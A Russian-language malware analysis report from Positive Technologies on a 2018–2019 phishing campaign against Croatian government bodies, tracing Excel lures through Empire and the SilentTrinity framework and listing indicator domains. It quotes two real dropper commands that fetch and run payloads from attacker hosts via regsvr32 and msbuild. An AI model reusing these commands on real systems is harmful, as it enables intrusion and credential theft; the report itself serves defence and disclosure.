
Наши специалисты из экспертного центра безопасности всегда держат «руку на пульсе» и мониторят появление новых интересных и опасных угроз. Именно так в начале апреля 2019 года была обнаружена целевая атака на государственные органы Хорватии. В данном отчете рассмотрена цепочка доставки вредоносного ПО на ПК жертвы, представлены индикаторы компрометации, а также отмечено использование нового пост-эксплуатационного фреймворка, ни разу не применявшегося по нашей информации злоумышленниками ранее.
Заражение жертвы
2 апреля 2019 года, в ходе регулярного отслеживания различных источников на предмет нового вредоносного ПО, эксперты PT Expert Security Center обнаружили необычный офисный документ.

«Уведомление об отправке» было создано в офисном приложении «MS Excel» и сохранено в старом формате .xls днём ранее (2019-04-01 16:28:07 (UTC)). Тем не менее, имеющаяся временная метка о печати (2018-07-25 00:12:30 (UTC)) свидетельствует, что документ использовался еще в 2018 году. Мы вернемся к этому косвенному признаку ниже.
Примечательным является то, что поле «Комментарии» (которое можно изменить в том числе и средствами приложения «MS Excel») содержит команду на языке командного интерпретатора Windows:
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs


В результате её выполнения в системе создаётся скрипт на языке Visual Basic. В случае запуска сценарий выполнит следующие действия:
- Подключит сетевой ресурс средствами технологии WebDAV
- Загрузит и запустит файл следующей стадии заражения с использованием легитимной системной утилиты «regsvr32»
В результате подключения сетевого ресурса по протоколу HTTP(S) на сервер злоумышленника отправляется NTLM-response, с помощью которого может быть восстановлен NTLM-хэш. Затем полученный хэш может быть использован для авторизации на сервисах от имени жертвы. Мы не нашли следов проведения подобных атак, а причины подключения сетевого ресурса остаются неясны.
Техника использования программы «regsvr32» (управление элементами ActiveX) в вредоносных целях не нова, и даже имеет своё собственное название «Squiblydoo». Атакующие применяют её для соблюдения требований контроля запуска доверенных программ, а также обхода антивирусного детектирования.
Сам по себе текст в поле «Комментарии» - безобиден, а его выполнение должно быть чем-то обусловлено. Когда жертва откроет полученный Excel-документ, она увидит сообщение-ловушку на хорватском языке, которое убеждает включить макросы:

Если выполнение макросов будет разрешено, пользователь увидит фальшивое уведомление о посылке с логотипом хорватской почты:

Тем временем средствами макроса сценарий поля «Комментарии» будет выполнен, а созданный скрипт в системе будет добавлен в автозагрузку:

Любопытно, что создаваемый сценарий не запускается макросом. Возможно, это задумка злоумышленника: следующая стадия заражения произойдет после перезагрузки системы и входа пользователя. Мы вернемся к этой детали ниже.
Другая часть скрипта интересна по-своему: аккуратная структура кода с форматированием, отступами и прочими нюансами разметки может быть признаком использования стороннего кода и даже программы, которая позволит создавать подобные документы автоматически.

Попытки поиска ключевых слов дают множество аналогичных частей кода на различных ресурсах. Мы склоняемся к версии, что хакер просто нашел подходящий для его целей программный код и незначительно подправил для выполнения конкретных действий:



Вернёмся к загрузке следующей стадии заражения средствами утилиты «regsvr32». В результате выполнения команды с сервера злоумышленника будет загружен скриптлет «update.sct» на языке JavaScript. В теле скрипта содержатся бинарные данные, закодированные алгоритмом Base64. После декодирования полученные данные будут десериализованы и выполнены средствами программной платформы «.NET Framework».

Стоит отметить, что и этот код был заимствован атакующим на одном из публично доступных ресурсах:


Не похоже, что хакер тщательно вникал в логику работы используемых инструментов. Например, в рассмотренном скриптлете вызывается функция «setversion», которая ничего не делает. Один из примеров, доступный в Сети, выглядит также – вот так лишние части кода и попадают в инструменты злодея.
В результате, распакованный и запущенный объект представляет собой исполняемый PE-файл на платформе .NET.


В результате компиляции сохранился путь до проекта с исходными кодами. Суффиксы «-master» позволяют сделать вывод, что проект был предварительно склонирован с репозитория, а каталог «SharPick» вёдет к известному приложению, которое позволяет загружать и выполнять код на языке PowerShell без применения непосредственно интерпретатора языка, а с использованием зависимостей .NET.
Несмотря на доступность проекта утилиты «Sharpick» на ресурсе «Github», следует убедиться, что не были внесены существенные изменения.

В результате декомпиляции был получен псевдокод, в ходе выполнения которого декодируется из Base64 и запускается PowerShell скрипт:

После упрощения кода разобрать функционал не составляет особого труда:
- Формируется объект для взаимодействия с web-сервером с заданными значениями User-Agent, Cookie и настройками прокси
- Загружается полезная нагрузка по заданному адресу
- Результат расшифровывается алгоритмом RC4 с использованием заданного ключа и запускается
К сожалению, в момент нашего анализа управляющий сервер уже был недоступен. Данные, которые с него были получены ранее, нам найти не удалось. Однако, и на этот раз имеется достаточно информации в сети (в качестве примера – часть отчёта наших коллег из FireEye), чтобы однозначно установить: конечное звено в данной цепочке заражения – «Empire backdoor», инструмент для удаленного администрирования ПК жертвы в составе пост-эксплуатационного фреймворка «Empire Framework»

Интересно, что другие паттерны скрипта ведут на обширную статью о техниках проведения тестирования на проникновения с особым вниманием к сокрытию инфраструктуры атакующих за проксирующими серверами. Коллеги из «Payatu Technologies» приводят подробную инструкцию по перенаправлению сессий на легитимные ресурсы, блокировке нежелательных пакетов, логированию и т. д., в том числе с использованием «Empire» – наиболее вероятный источник информации, который использовался злоумышленником.
Спустя несколько часов мы обнаружили еще один документ о посылке. Он имеет множество сходств с предыдущим: также найден в Хорватии (2019-04-02 16:52:56 (UTC)), имеет такое же название и даже изображение-ловушку о полученной посылке. Но все же есть различия.
Вредоносный код снова расположен в поле «Комментарии», но на этот раз логика действий изменена.
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
- Подключение сетевого ресурса происходит средствами SMB протокола
- Загрузка и запуск следующей стадии заражения с применением легитимной утилиты пакета .NET Framework «msbuild»
Любопытно, что в адресе монтируемого каталога присутствует строка «webdav», косвенно пересекающая этот случай с предыдущим. В этот раз атака на NTLM-хэш по-прежнему возможна, хотя подтверждений о её применении по-прежнему нет. Причина использования приложения «msbuild» вновь для успешного обхода ограничения запуска сторонних программ. Прежде чем опишем технику злоупотребления, упомянем об отличиях в программном коде макроса нового документа.
Атакующие не вносили существенных изменений в логику действий VBA скрипта. Однако стоит отметить, что на этот раз они не только обеспечивают автоматическую загрузку создаваемого VBS-скрипта в системе, но и запускают его в момент открытия документа. Вероятнее всего, в предыдущем случае злоумышленники просто забыли про это, а спустя некоторое время, обнаружив оплошность, поправили её с выходом следующей версии документа.

Следующая стадия заражения представляет собой XML документ, в котором содержится программный код на языке C#. Особенность утилиты «msbuild» позволяет скомпилировать и запустить содержащийся код «налету», о чем свидетельствуют оставленные хакером комментарии в начале разметки.
В коде снова представлен Base64-буфер, который будет раскодирован, разжат алгоритмом «Deflate» и запущен. Полагаем, читатель уже догадывается о том, что и на этот раз злоумышленник воспользовался свободно доступным шаблоном, о чём свидетельствуют упомянутые комментарии и множество источников в Сети с аналогичным кодом.

В итоге, и на этот раз в память будет загружен и выполнен PE-файл на платформе .NET. А отладочная информация содержит не только признак того, что проект был собран на виртуальной машине (возможно, в целях сокрытия информации об атакующем), но и каталог «SILENTTRINITY», на который будет обращено отдельное внимание.

Стоит отметить, что по изученным двум документам о посылке нам удалось найти еще два. И формат файла, и название, и картинка-приманка с регионом обнаружения вновь остались неизменными. Документы стали доступны в конце августа 2018 года, что подтверждает гипотезу долгосрочность кампании, о которой мы писали в начале отчёта.
Любопытно, что в прошлом году хакеры не использовали поле «Комментарии», однако не отошли от принципа использования легитимных утилит для выполнения следующих стадий заражения: вредоносный компонент загружался с применением утилиты для работы с сертификатами и выполнения криптографических операций «certutil», а запуск обеспечивался инструментарием управления системой «WMI»:

К сожалению, за сроком давности нам не удалось установить дальнейшие звенья цепочки атак 2018 года.
Стоит также отметить, что часть кода VBA-скрипта оставалась неизменной за исключением удаления вспомогательных комментариев, поясняющих логику работы.

SilentTrinity framework
Поисковая выдача на ключевое слово «SILENTTRINITY» из отладочной информации PE-файла без труда позволяет установить происхождение этого звена атаки. В октябре 2018 года Marcello Salvati (исследователь компании «Black Hills Information Security») разместил одноименный проект на популярном репозитории «GitHub». Основная идея: перенести гибкость и преимущества известного пост-эксплуатационного PowerShell-фреймворка на скриптовый язык программирования Python, а именно – IronPython. Проект развивается по сей день.
Мы не будем углубляться в детали работы и реализации проекта, тем более что автор подробно представлял его функционал. Осветим лишь основную логику работы и интересные моменты в реализации.
После запуска PE-файла (впрочем, промежуточное звено может быть в другом формате) происходит следующая последовательность действий:
- Обращение к управляющему серверу для загрузки ZIP-архива с необходимыми зависимостями и главным скриптом на Python
- Содержимое архива извлекается без сохранения на диск
- Регистрируются зависимости для успешной обработки Python-скриптов
- Запускается основной Python-скрипт, ожидающий задачи от злоумышленника
- Каждая задача передается в виде готового Python-скрипта
- Задача выполняется на стороне жертвы в отдельном потоке
- Результат работы передается обратно на управляющий сервер

Из наиболее интересных особенностей стоит выделить следующее:
- Поддержка IronPython, в том числе языка Boo – подмножество IronPython со строгой типизацией данных
- Вся активность не требует дискового пространства – зависимости, скрипты, задачи располагаются в памяти, что также именуется как «fileless» атака
- Архив с зависимостями, задачи, результат работы команд – всё общение между жертвой и хакером шифруется алгоритмом AES
- Общий ключ формируется протоколом Диффи – Хеллмана
- Сетевой транспорт обеспечивается на уровне HTTP(S) протокола с поддержкой проксирования

Интересно, что в день проведения атак PE-загрузчик был загружен на сервис «VirusTotal», где ни один антивирусный вендор не определял его как вредоносный. В этом нет ничего удивительного: во-первых, бинарный файл не попадает на диск, и сигнатурный детект большого смысла не имеет; во-вторых, статическое детектирование далеко не единственная технология защиты пользователей.

Любопытно другое: спустя несколько дней после атаки вердикты детектирования всё же начали появляться. Важно, что в период атак либо защитные средства еще не были оснащены алгоритмами определения, либо об угрозе не было известно в принципе.

Вероятнее всего, это и послужило причиной выбора именно этого решения для проведения атак со стороны злоумышленников. У нас нет сведений, что фреймворк SilentTrinity уже применялся в вредоносных атаках ранее. Данная кампания – первый случай который мы зафиксировали употребления SilentTrinity злоумышленниками.
Инфраструктура атакующих
Стоит упомянуть, что сетевая инфраструктура, используемая хакерами, хронологически связывается с проводимыми атаками.
Домен | Дата регистрации | Мимикрирование | Отрасль |
---|---|---|---|
konzum.win | 2018-05-25 | konzum.hr | Ритейл |
postahr.online | 2018-08-22 | posta.hr | Почтовые сервисы |
posteitaliane.live | 2019-01-16 | posteitaliane.it | Почтовые сервисы |
postahr.vip | 2019-02-06 | posta.hr | Почтовые сервисы |
Домены создавались таким образом, чтобы быть похожими на легитимные атакуемые ресурсы. Это позволяет получить доверие пользователей в ходе проведения фишинговых атак. Отметим, что затрагиваемые ресурсы относятся не только к Хорватии, что свидетельствует о бОльшем масштабе проводимой операции.
Все домены зарегистрированы с применением технологии защиты от «WhoisGuard, Inc.». Компания позволяет скрыть настоящие сведения о регистранте домена «в целях защиты от спама».
В свою очередь сами сервера, раздающие и управляющие вредоносным ПО, были арендованы у нидерландского провайдера «Breezle LLC».
Все имеющиеся сведения о хостах, адресах, доменах злоумышленников с множеством связей между собой позволяют судить о бОльших объемах вредоносного ПО, которое было у атакующих. Мы не исключаем, что в кампании могли быть использованы другие инструменты, аналогичные рассмотренным, а случаи заражения остались нераскрытыми.

Заключение
Через день после обнаружения документов в новостях вышел пресс-релиз с ссылкой на Департамент безопасности информационных систем Хорватии о проводимых целевых фишинговых атаках. Следы были обнаружены в нескольких государственных органах страны. Сообщается, что жертвам рассылались электронные письма с ссылкой на фишинговый сайт, с которого предлагается загрузить вредоносный документ, с которых начинался наш анализ. Это заполняет недостающие звенья в цепочке атак, а в завершении мы бы хотели обратить внимание на методы защит, которые позволяют снизить урон от таких атак:
- Мониторинг и контроль использования некоторых доверенных программ (certutil, regsvr32, msbuild, net, wmic …)
- Проверка и анализ не только вложений в электронных письмах, но и web-ссылок
- Периодические сканирования памяти ПК в корпоративной сети
Автор: Алексей Вишняков, Positive Technologies
P.S. Данный материал написан по следам доклада на Positive Hack Days 9. Видео этого и других выступлений доступны по ссылке: https://www.phdays.com/ru/broadcast/